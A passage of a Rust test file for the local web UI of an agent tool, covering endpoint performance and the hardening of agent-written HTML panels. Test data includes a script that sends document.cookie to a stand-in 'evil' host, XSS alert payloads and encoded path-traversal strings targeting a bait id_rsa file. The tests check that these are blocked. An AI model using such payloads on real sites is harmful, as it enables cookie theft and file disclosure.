9310 async fn delete(&self, path: &str) -> Res {
9311 request(self.addr, "DELETE", path, None).await
9312 }
9313
9314 async fn put(&self, path: &str, body: &str) -> Res {
9315 request(self.addr, "PUT", path, Some(body)).await
9316 }
9317
9318 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9320 request_bytes(self.addr, path, headers, body).await
9321 }
9322 }
9323
9324 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9327 let tmp = TempDir::new().unwrap();
9328 let mut repos = Vec::new();
9329 for name in ["one", "two"] {
9330 let repo = tmp.path().join(name);
9331 let origin = tmp.path().join(format!("{name}.git"));
9332 std::fs::create_dir_all(&repo).unwrap();
9333 crate::git::git(&repo, &["init", "-b", "main"])
9334 .await
9335 .unwrap();
9336 std::fs::write(
9337 repo.join("magi.toml"),
9338 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9339 )
9340 .unwrap();
9341 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9342 crate::git::git(
9343 &repo,
9344 &[
9345 "-c",
9346 "user.name=fixture",
9347 "-c",
9348 "user.email=fixture@example.invalid",
9349 "commit",
9350 "-m",
9351 "fixture",
9352 ],
9353 )
9354 .await
9355 .unwrap();
9356 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9357 .await
9358 .unwrap();
9359 crate::git::git(
9360 &repo,
9361 &["remote", "add", "origin", origin.to_str().unwrap()],
9362 )
9363 .await
9364 .unwrap();
9365 crate::git::git(&repo, &["push", "origin", "main"])
9366 .await
9367 .unwrap();
9368 crate::git::git(
9369 &repo,
9370 &[
9371 "symbolic-ref",
9372 "refs/remotes/origin/HEAD",
9373 "refs/remotes/origin/main",
9374 ],
9375 )
9376 .await
9377 .unwrap();
9378 let (cfg, _) = Config::discover(&repo, None).unwrap();
9379 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9380 repos.push(repo);
9381 }
9382 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9383 (tmp, repos)
9384 }
9385
9386 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9387 let (tmp, repos) = performance_repositories().await;
9388 let machine = tmp.path().join("machine.toml");
9389 std::fs::write(&machine, "").unwrap();
9390 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9391 (tmp, repos, fx)
9392 }
9393
9394 fn seed_performance(
9395 fx: &Fixture,
9396 repos: &[PathBuf; 2],
9397 questions: usize,
9398 runs: usize,
9399 items: usize,
9400 ) {
9401 for i in fx.questions().list().len()..questions {
9403 let mut question = Question::new(
9404 "20261001-000000-0000".into(),
9405 "implement".into(),
9406 "impl-A".into(),
9407 format!("question {i}"),
9408 "context".into(),
9409 vec!["yes".into(), "no".into()],
9410 );
9411 question.id = format!("20261003-000000-{i:04x}");
9412 fx.questions().put(&mut question).unwrap();
9413 }
9414 for i in run_ids(&fx.runs()).len()..runs {
9415 write_run_repo(
9416 &fx.runs(),
9417 &format!("20261001-000000-{i:04x}"),
9418 RunStatus::Ready,
9419 repos[i % 2].to_str().unwrap(),
9420 );
9421 }
9422 for i in fx.talks().list().len()..items {
9423 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9424 let mut talk = fx.talks().get(&id).unwrap();
9425 talk.repo = repos[i % 2].clone();
9426 fx.talks().put(&mut talk).unwrap();
9427 let mut task = crate::queue::Task::new(
9428 format!("task {i}"),
9429 "instruction".into(),
9430 repos[i % 2].clone(),
9431 crate::queue::Source::Agent {
9432 run: id,
9433 node: crate::queue::CHAT_NODE.into(),
9434 },
9435 );
9436 task.id = format!("20261004-000000-{i:04x}");
9437 fx.queue().put(&mut task).unwrap();
9438 if i < crate::notices::CAP {
9440 Notices::at(fx.home.path().join("notifications"))
9441 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9442 .unwrap();
9443 }
9444 }
9445 assert_eq!(fx.questions().list().len(), questions);
9446 assert_eq!(run_ids(&fx.runs()).len(), runs);
9447 assert_eq!(fx.talks().list().len(), items);
9448 assert_eq!(fx.queue().list().len(), items);
9449 assert_eq!(
9450 Notices::at(fx.home.path().join("notifications"))
9451 .list()
9452 .len(),
9453 items.min(crate::notices::CAP)
9454 );
9455 }
9456
9457 fn request_counts(res: &Res) -> (usize, usize) {
9458 assert_eq!(res.status, 200, "{}", res.body);
9459 (
9460 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9461 res.header("x-test-git").unwrap().parse().unwrap(),
9462 )
9463 }
9464
9465 #[tokio::test]
9466 async fn list_request_cost_is_independent_of_record_count() {
9467 let (_tmp, repos, fx) = performance_fixture().await;
9468 let mut previous = None;
9469 for n in [4, 60] {
9470 seed_performance(&fx, &repos, n, n, n);
9471 let mut costs = Vec::new();
9472 for (path, discoveries) in [
9473 ("/api/questions", 1),
9474 ("/api/talks", 2),
9475 ("/api/health", 1),
9476 ("/api/stats", 1),
9477 ] {
9478 for repo in &repos {
9481 let cache = repo.join(".git/magi/config");
9482 if cache.exists() {
9483 std::fs::remove_dir_all(cache).unwrap();
9484 }
9485 }
9486 let cost = request_counts(&fx.get(path).await);
9487 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9488 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9489 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9490 costs.push(cost);
9491 }
9492 if let Some(previous) = previous {
9493 assert_eq!(costs, previous);
9494 }
9495 previous = Some(costs);
9496 }
9497 }
9501
9502 #[tokio::test]
9505 async fn list_handler_cost_without_transport() {
9506 let (_tmp, repos) = performance_repositories().await;
9507 let fx = Fixture {
9508 home: TempDir::new().unwrap(),
9509 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9510 };
9511 let ui = Arc::new(
9512 Ui::new(
9513 fx.queue(),
9514 fx.questions(),
9515 fx.talks(),
9516 fx.runs(),
9517 fx.home.path().to_path_buf(),
9518 repos[0].clone(),
9519 )
9520 .with_worktrees_root(fx.home.path().join("wt")),
9521 );
9522 let mut previous = None;
9523 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9524 seed_performance(&fx, &repos, n, runs, items);
9525 let mut costs = Vec::new();
9526 for endpoint in ["questions", "talks", "health", "stats"] {
9527 for repo in &repos {
9528 let cache = repo.join(".git/magi/config");
9529 if cache.exists() {
9530 std::fs::remove_dir_all(cache).unwrap();
9531 }
9532 }
9533 let (_, cost) = request_cost::measure(async {
9534 match endpoint {
9535 "questions" => {
9536 let _ = questions_list(State(ui.clone())).await.unwrap();
9537 }
9538 "talks" => {
9539 let _ = talks_list(
9540 State(ui.clone()),
9541 Query(ListQuery {
9542 limit: None,
9543 ids: None,
9544 }),
9545 )
9546 .await
9547 .unwrap();
9548 }
9549 "health" => {
9550 let _ = health(State(ui.clone())).await.unwrap();
9551 }
9552 _ => {
9553 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9554 .await
9555 .unwrap();
9556 }
9557 }
9558 })
9559 .await;
9560 eprintln!("{endpoint} handler N={n}: {cost:?}");
9561 assert_eq!(
9562 cost.0,
9563 if endpoint == "talks" { 2 } else { 1 },
9564 "{endpoint}"
9565 );
9566 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9567 costs.push(cost);
9568 }
9569 if let Some(previous) = previous {
9570 assert_eq!(costs, previous);
9571 }
9572 previous = Some(costs);
9573 }
9574 }
9575
9576 #[tokio::test]
9577 async fn list_request_cost_scopes_do_not_mix() {
9578 let (_tmp, repos, fx) = performance_fixture().await;
9579 seed_performance(&fx, &repos, 10, 0, 10);
9580 let (questions, talks, notices) = tokio::join!(
9581 fx.get("/api/questions"),
9582 fx.get("/api/talks"),
9583 fx.get("/api/notifications")
9584 );
9585 assert_eq!(request_counts(&questions).0, 1);
9586 assert_eq!(request_counts(&talks).0, 2);
9587 assert_eq!(request_counts(¬ices), (0, 0));
9588 }
9589
9590 #[tokio::test]
9591 async fn list_endpoints_large_home_ceiling() {
9592 let (_tmp, repos, fx) = performance_fixture().await;
9593 seed_performance(&fx, &repos, 200, 300, 400);
9594 let mut failures = Vec::new();
9595 for path in [
9598 "/",
9599 "/app.js",
9600 "/app.css",
9601 "/api/questions",
9602 "/api/runs?limit=300",
9603 "/api/queue",
9604 "/api/talks",
9605 "/api/notifications",
9606 "/api/health",
9607 "/api/stats",
9608 "/api/loop",
9609 "/api/settings",
9610 "/api/repos",
9611 ] {
9612 let start = std::time::Instant::now();
9613 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9614 let elapsed = start.elapsed();
9615 eprintln!("{path}: {elapsed:?}");
9616 match result {
9617 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9618 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9619 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9620 }
9621 }
9622 assert!(failures.is_empty(), "{}", failures.join("\n"));
9623 }
9624
9625 struct Res {
9626 status: u16,
9627 headers: String,
9628 head: String,
9633 body: String,
9634 bytes: Vec<u8>,
9638 }
9639
9640 impl Res {
9641 fn json(&self) -> Value {
9642 serde_json::from_str(&self.body)
9643 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9644 }
9645
9646 fn header(&self, name: &str) -> Option<&str> {
9648 self.head.lines().find_map(|line| {
9649 let (key, value) = line.split_once(':')?;
9650 key.trim()
9651 .eq_ignore_ascii_case(name)
9652 .then(|| value.trim_start().trim_end_matches('\r'))
9653 })
9654 }
9655 }
9656
9657 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9660 request_with(addr, method, path, body, &[]).await
9661 }
9662
9663 async fn request_with(
9667 addr: SocketAddr,
9668 method: &str,
9669 path: &str,
9670 body: Option<&str>,
9671 extra: &[(&str, &str)],
9672 ) -> Res {
9673 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9674 for (name, value) in extra {
9675 head.push_str(&format!("{name}: {value}\r\n"));
9676 }
9677 if let Some(body) = body {
9678 head.push_str("Content-Type: application/json\r\n");
9679 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9680 }
9681 head.push_str("\r\n");
9682 if let Some(body) = body {
9683 head.push_str(body);
9684 }
9685 let mut socket = tokio::net::TcpStream::connect(addr)
9686 .await
9687 .expect("connect to the test server");
9688 socket
9689 .write_all(head.as_bytes())
9690 .await
9691 .expect("write request");
9692 let mut raw = Vec::new();
9693 socket.read_to_end(&mut raw).await.expect("read response");
9694 let split = raw
9697 .windows(4)
9698 .position(|w| w == b"\r\n\r\n")
9699 .expect("a header block");
9700 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9701 let bytes = raw[split + 4..].to_vec();
9702 let status = head
9703 .lines()
9704 .next()
9705 .and_then(|line| line.split_whitespace().nth(1))
9706 .and_then(|code| code.parse().ok())
9707 .expect("a status line");
9708 Res {
9709 status,
9710 headers: head.to_lowercase(),
9711 head,
9712 body: String::from_utf8_lossy(&bytes).into_owned(),
9713 bytes,
9714 }
9715 }
9716
9717 async fn request_bytes(
9723 addr: SocketAddr,
9724 path: &str,
9725 headers: &[(&str, &str)],
9726 body: &[u8],
9727 ) -> Res {
9728 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9729 for (name, value) in headers {
9730 head.push_str(&format!("{name}: {value}\r\n"));
9731 }
9732 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9733 let mut socket = tokio::net::TcpStream::connect(addr)
9734 .await
9735 .expect("connect to the test server");
9736 socket
9737 .write_all(head.as_bytes())
9738 .await
9739 .expect("write request head");
9740 socket.write_all(body).await.expect("write request body");
9741 let mut raw = Vec::new();
9742 socket.read_to_end(&mut raw).await.expect("read response");
9743 let split = raw
9744 .windows(4)
9745 .position(|w| w == b"\r\n\r\n")
9746 .expect("a header block");
9747 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9748 let bytes = raw[split + 4..].to_vec();
9749 let status = head
9750 .lines()
9751 .next()
9752 .and_then(|line| line.split_whitespace().nth(1))
9753 .and_then(|code| code.parse().ok())
9754 .expect("a status line");
9755 Res {
9756 status,
9757 headers: head.to_lowercase(),
9758 head,
9759 body: String::from_utf8_lossy(&bytes).into_owned(),
9760 bytes,
9761 }
9762 }
9763
9764 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9766 let mut state = RunState::new(
9767 PathBuf::from("/repo/magi"),
9768 "main".to_owned(),
9769 "0123456789abcdef".to_owned(),
9770 "Add a web UI\n\nMobile first.".to_owned(),
9771 Config::default(),
9772 );
9773 state.id = id.to_owned();
9774 state.status = status;
9775 let dir = runs.join(id);
9776 std::fs::create_dir_all(&dir).expect("run dir");
9777 std::fs::write(
9778 dir.join("run.json"),
9779 serde_json::to_string_pretty(&state).expect("serialize run"),
9780 )
9781 .expect("write run.json");
9782 }
9783
9784 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9788 let mut state = RunState::new(
9789 PathBuf::from(repo),
9790 "main".to_owned(),
9791 "0123456789abcdef".to_owned(),
9792 "task".to_owned(),
9793 Config::default(),
9794 );
9795 state.id = id.to_owned();
9796 state.status = status;
9797 let dir = runs.join(id);
9798 std::fs::create_dir_all(&dir).expect("run dir");
9799 std::fs::write(
9800 dir.join("run.json"),
9801 serde_json::to_string_pretty(&state).expect("serialize run"),
9802 )
9803 .expect("write run.json");
9804 }
9805
9806 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9807 let body = serde_json::json!({
9808 "schema": 1,
9809 "pid": 4242,
9810 "started_at": Timestamp::now().to_string(),
9811 "updated_at": updated_at.to_string(),
9812 "idle": false,
9813 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9814 "completed": 7,
9815 "polls": 143,
9816 });
9817 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9818 }
9819
9820 fn launch_idle(
9830 _opts: daemon::Opts,
9831 stop: daemon::Stop,
9832 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9833 Box::pin(async move {
9834 while !stop.stopped() {
9835 tokio::time::sleep(Duration::from_millis(2)).await;
9836 }
9837 Ok(())
9838 })
9839 }
9840
9841 fn launch_broken(
9844 _opts: daemon::Opts,
9845 _stop: daemon::Stop,
9846 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9847 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9852 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9853 Box::pin(async move {
9854 Err(anyhow::anyhow!(if first {
9855 "publish the daemon status file: read-only file system"
9856 } else {
9857 "the restarted stand-in failed as well"
9858 }))
9859 })
9860 }
9861
9862 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9869 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9870
9871 fn launch_knocking_on_the_way_out(
9878 _opts: daemon::Opts,
9879 stop: daemon::Stop,
9880 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9881 Box::pin(async move {
9882 while !stop.stopped() {
9883 tokio::time::sleep(Duration::from_millis(2)).await;
9884 }
9885 let addr = PARK_KNOCK
9886 .lock()
9887 .expect("park knock")
9888 .expect("the test set an address");
9889 let heard = request(addr, "GET", "/api/health", None).await.status;
9890 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9891 Ok(())
9892 })
9893 }
9894
9895 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9904 for _ in 0..SETTLE_STEPS {
9905 let view = fx.get("/api/loop").await.json();
9906 if want(&view) {
9907 return view;
9908 }
9909 tokio::time::sleep(Duration::from_millis(10)).await;
9910 }
9911 panic!(
9912 "the loop never settled: {}",
9913 fx.get("/api/loop").await.json()
9914 );
9915 }
9916
9917 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9919 let store = fx.questions();
9920 let mut q = Question::new(
9921 "20260902-000000-beef".to_owned(),
9922 "implement".to_owned(),
9923 "impl-A".to_owned(),
9924 summary.to_owned(),
9925 "because it matters".to_owned(),
9926 choices.iter().map(|c| (*c).to_owned()).collect(),
9927 );
9928 store.put(&mut q).expect("put question");
9929 q.id
9930 }
9931
9932 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9938 let store = fx.questions();
9939 let mut q = Question::new(
9940 "20260902-000000-beef".to_owned(),
9941 "land".to_owned(),
9942 "fix".to_owned(),
9943 "Merge this?".to_owned(),
9944 "the diff is in the panel".to_owned(),
9945 vec!["merge".to_owned(), "hold".to_owned()],
9946 );
9947 let staging = fx.home.path().join("staging");
9950 std::fs::create_dir_all(&staging).expect("staging dir");
9951 let sources: Vec<PathBuf> = assets
9952 .iter()
9953 .map(|(name, bytes)| {
9954 let path = staging.join(name);
9955 std::fs::write(&path, bytes).expect("write staged asset");
9956 path
9957 })
9958 .collect();
9959 store
9960 .put_panel(&mut q, html, &sources)
9961 .expect("write the panel");
9962 store.put(&mut q).expect("put question");
9963 q.id
9964 }
9965
9966 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9975 seed_talk_at(&fx.talks(), id, status)
9976 }
9977
9978 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9979 std::fs::create_dir_all(store.root()).expect("talks dir");
9980 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9981 .expect("serialize a seat");
9982 let body = serde_json::json!({
9983 "schema": 1,
9984 "id": id,
9985 "repo": "/repo/magi",
9986 "agent": "mock",
9987 "status": status,
9988 "turns": [],
9989 "created_at": Timestamp::now().to_string(),
9990 "updated_at": Timestamp::now().to_string(),
9991 "seat": seat,
9992 });
9993 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9994 store.get(id).expect("the seeded talk has to be readable");
9995 id.to_owned()
9996 }
9997
9998 #[tokio::test]
9999 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
10000 let fx = Fixture::start().await;
10001 let id = panel(
10002 &fx,
10003 "<h1>Merge?</h1><img src=\"diff.svg\">",
10004 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
10005 );
10006
10007 for path in [
10008 format!("/api/questions/{id}/panel"),
10009 format!("/api/questions/{id}/asset/diff.svg"),
10010 ] {
10011 let res = fx.get(&path).await;
10012 assert_eq!(res.status, 200, "{path}: {}", res.body);
10013 assert_eq!(
10019 res.header("content-security-policy"),
10020 Some(
10021 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10022 font-src data:; base-uri 'none'; form-action 'none'; \
10023 frame-ancestors 'self'"
10024 ),
10025 "{path} is the only thing between a hostile panel and the tailnet"
10026 );
10027 assert_eq!(
10028 res.header("x-content-type-options"),
10029 Some("nosniff"),
10030 "{path}: a browser must not re-decide the type we sent"
10031 );
10032 assert_eq!(
10033 res.header("referrer-policy"),
10034 Some("no-referrer"),
10035 "{path}: a panel must not leak the question id off the machine"
10036 );
10037
10038 let pre = fx.head(&path).await;
10043 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10044 assert_eq!(
10045 pre.header("content-security-policy"),
10046 res.header("content-security-policy"),
10047 "{path}: the preflight carries the same policy"
10048 );
10049 assert_eq!(
10050 pre.header("content-type"),
10051 res.header("content-type"),
10052 "{path}: the preflight carries the same type"
10053 );
10054 }
10055 }
10056
10057 #[tokio::test]
10058 async fn a_panel_reaches_the_browser_byte_for_byte() {
10059 let fx = Fixture::start().await;
10060 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
10065 let id = panel(&fx, html, &[]);
10066
10067 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10068
10069 assert_eq!(res.status, 200);
10070 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10071 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10072 assert_eq!(
10073 res.header("content-disposition"),
10074 None,
10075 "the panel itself is rendered in the frame, not downloaded"
10076 );
10077 }
10078
10079 #[tokio::test]
10080 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10081 let fx = Fixture::start().await;
10082 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10083 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10084 let id = panel(
10085 &fx,
10086 "<img src=\"diff.svg\"><img src=\"shot.png\">",
10087 &[("diff.svg", svg), ("shot.png", png)],
10088 );
10089
10090 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10091 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10092
10093 assert_eq!(as_svg.status, 200);
10094 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10095 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10100
10101 assert_eq!(as_png.status, 200);
10102 assert_eq!(as_png.header("content-type"), Some("image/png"));
10103 assert_eq!(
10104 as_png.header("content-disposition"),
10105 None,
10106 "a raster image has no execution surface, so tapping it still shows it"
10107 );
10108 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10109 }
10110
10111 #[tokio::test]
10112 async fn an_html_asset_is_never_served_as_html() {
10113 let fx = Fixture::start().await;
10114 let id = panel(
10115 &fx,
10116 "<p>see the notes</p>",
10117 &[
10118 (
10119 "notes.html",
10120 b"<script>fetch('http://evil/'+document.cookie)</script>",
10121 ),
10122 ("hook.js", b"fetch('http://evil/')"),
10123 ("data.json", b"{}"),
10124 ("HEADLINE.TXT", b"plain"),
10125 ],
10126 );
10127
10128 for name in ["notes.html", "hook.js", "data.json"] {
10129 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10130 assert_eq!(res.status, 200, "{name}: {}", res.body);
10131 assert_eq!(
10136 res.header("content-type"),
10137 Some("application/octet-stream"),
10138 "{name} must not be a type the browser will execute or render"
10139 );
10140 }
10141 let txt = fx
10144 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10145 .await;
10146 assert_eq!(
10147 txt.header("content-type"),
10148 Some("text/plain; charset=utf-8")
10149 );
10150 }
10151
10152 #[tokio::test]
10153 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10154 let fx = Fixture::start().await;
10155 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10156 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10160
10161 for encoded in [
10168 "%2e%2e%2fid_rsa",
10169 "..%2fid_rsa",
10170 "..%5cid_rsa",
10171 "%2e%2e%5cid_rsa",
10172 "diff%00.svg",
10173 "..",
10174 ".hidden",
10175 "%2e%2e%2f%2e%2e%2fid_rsa",
10176 ] {
10177 let res = fx
10178 .get(&format!("/api/questions/{id}/asset/{encoded}"))
10179 .await;
10180 assert_eq!(
10181 res.status, 400,
10182 "`{encoded}` has to be refused by name, not looked up: {}",
10183 res.body
10184 );
10185 assert!(res.json()["error"].is_string(), "{}", res.body);
10186 }
10187
10188 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10194 let res = fx
10195 .get(&format!("/api/questions/{id}/asset/{literal}"))
10196 .await;
10197 assert_eq!(
10198 res.status, 404,
10199 "`{literal}` must not match the asset route at all: {}",
10200 res.body
10201 );
10202 }
10203 }
10204
10205 #[tokio::test]
10206 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10207 let fx = Fixture::start().await;
10208 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10209 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10210
10211 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10215 assert_eq!(none.status, 404, "{}", none.body);
10216 assert!(none.json()["error"].is_string(), "{}", none.body);
10217 assert_eq!(
10218 fx.head(&format!("/api/questions/{plain}/panel"))
10219 .await
10220 .status,
10221 404,
10222 "the preflight is the only way the client can learn this"
10223 );
10224
10225 let missing = fx
10227 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10228 .await;
10229 assert_eq!(missing.status, 404, "{}", missing.body);
10230 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10231
10232 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10234 assert_eq!(
10235 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10236 404
10237 );
10238 }
10239
10240 #[tokio::test]
10241 async fn a_run_with_an_open_question_reads_as_waiting() {
10242 let fx = Fixture::start().await;
10243 let run = "20260902-000000-beef".to_owned();
10244 write_run(&fx.runs(), &run, RunStatus::Implementing);
10245
10246 let before = fx.get("/api/runs").await.json();
10247 assert_eq!(before[0]["waiting"], false, "{before}");
10248
10249 let store = fx.questions();
10250 let mut q = Question::new(
10251 run.clone(),
10252 "implement".to_owned(),
10253 "impl-A".to_owned(),
10254 "Which backend?".to_owned(),
10255 String::new(),
10256 vec!["SQLite".to_owned()],
10257 );
10258 store.put(&mut q).expect("put");
10259
10260 let during = fx.get("/api/runs").await.json();
10261 assert_eq!(during[0]["waiting"], true, "{during}");
10262
10263 q.answer(Answer::Choice("SQLite".to_owned()))
10266 .expect("answer");
10267 store.put(&mut q).expect("put");
10268 let after = fx.get("/api/runs").await.json();
10269 assert_eq!(after[0]["waiting"], false, "{after}");
10270 }
10271
10272 #[tokio::test]
10273 async fn an_open_question_is_listed_and_counted_by_health() {
10274 let fx = Fixture::start().await;
10275 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10276
10277 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10278 let listed = fx.get("/api/questions").await.json();
10279 assert_eq!(listed.as_array().expect("array").len(), 1);
10280 assert_eq!(listed[0]["id"], id);
10281 assert_eq!(listed[0]["status"], "open");
10282 assert_eq!(listed[0]["choices"][1], "Redis");
10283 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10286 }
10287
10288 fn obsolete_approval_state() -> RunState {
10289 let mut state = crate::land::tests::repair_state(true, true);
10290 state.pr = Some(crate::run::PrRecord {
10291 url: "https://github.com/example/repo/pull/42".into(),
10292 number: 42,
10293 state: "open".into(),
10294 checks: "green".into(),
10295 round: 1,
10296 rounds: 4,
10297 red_at_merge: Vec::new(),
10298 });
10299 state
10300 }
10301
10302 #[tokio::test]
10303 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10304 for owner in ["missing", "current", "completed", "later"] {
10305 let fx = Fixture {
10306 home: TempDir::new().unwrap(),
10307 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10308 };
10309 let mut state = obsolete_approval_state();
10310 state.status = RunStatus::Landing;
10311 state.parked = true;
10312 state.driver_exited = true;
10313 let mut q = Question::new(
10314 state.id.clone(),
10315 crate::land::APPROVAL_NODE.into(),
10316 "land".into(),
10317 "Old approval".into(),
10318 "Original evidence".into(),
10319 vec!["merge".into(), "hold".into()],
10320 );
10321 state.land_approval = Some(crate::run::LandApproval {
10322 question: q.id.clone(),
10323 head: "head".into(),
10324 });
10325 state.save_under(fx.home.path()).unwrap();
10326 let stale = state.clone();
10327 fx.questions().put(&mut q).unwrap();
10328 let mut task = Task::new(
10329 "Owner".into(),
10330 "Original instruction".into(),
10331 state.repo.clone(),
10332 Source::Human,
10333 );
10334 task.runs.push(state.id.clone());
10335 task.status = if owner == "completed" {
10336 TaskStatus::Done
10337 } else {
10338 TaskStatus::Parked
10339 };
10340 if owner == "later" {
10341 task.runs.push("later-run".into());
10342 }
10343 if owner != "missing" {
10344 fx.queue().put(&mut task).unwrap();
10345 }
10346 let ui = Arc::new(Ui::new(
10347 fx.queue(),
10348 fx.questions(),
10349 fx.talks(),
10350 fx.runs(),
10351 fx.home.path().into(),
10352 state.repo.clone(),
10353 ));
10354 let response = question_answer(
10355 State(ui),
10356 Path(q.id.clone()),
10357 Ok(Json(NewAnswer {
10358 choice: Some(crate::merge_decision::DISMISS.into()),
10359 text: None,
10360 })),
10361 )
10362 .await
10363 .unwrap();
10364 assert_eq!(
10365 response.0.question.resolution().as_deref(),
10366 Some(crate::merge_decision::DISMISS)
10367 );
10368 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10369 assert_eq!(disk.status, RunStatus::Superseded);
10370 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10371 assert!(!crate::merge_decision::resumable_hold(&disk));
10372 assert_eq!(
10373 serde_json::to_value(&disk.pr).unwrap(),
10374 serde_json::to_value(&stale.pr).unwrap()
10375 );
10376 assert_eq!(fx.questions().count_open(), 0);
10377 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10378 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10379 if owner == "missing" {
10380 assert!(fx.queue().list().is_empty());
10381 } else {
10382 let after = fx.queue().get(&task.id).unwrap();
10383 assert_eq!(
10384 after.status,
10385 if owner == "current" {
10386 TaskStatus::Done
10387 } else {
10388 task.status
10389 }
10390 );
10391 assert_eq!(after.runs, task.runs);
10392 assert_eq!(after.instruction, task.instruction);
10393 assert_eq!(after.action_applied(&q.id), owner == "current");
10394 }
10395 }
10396 }
10397
10398 #[tokio::test]
10399 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10400 let fx = Fixture::start().await;
10401 let mut state = obsolete_approval_state();
10402 state.status = RunStatus::Landing;
10403 state.parked = true;
10404 state.driver_exited = true;
10405 let mut q = Question::new(
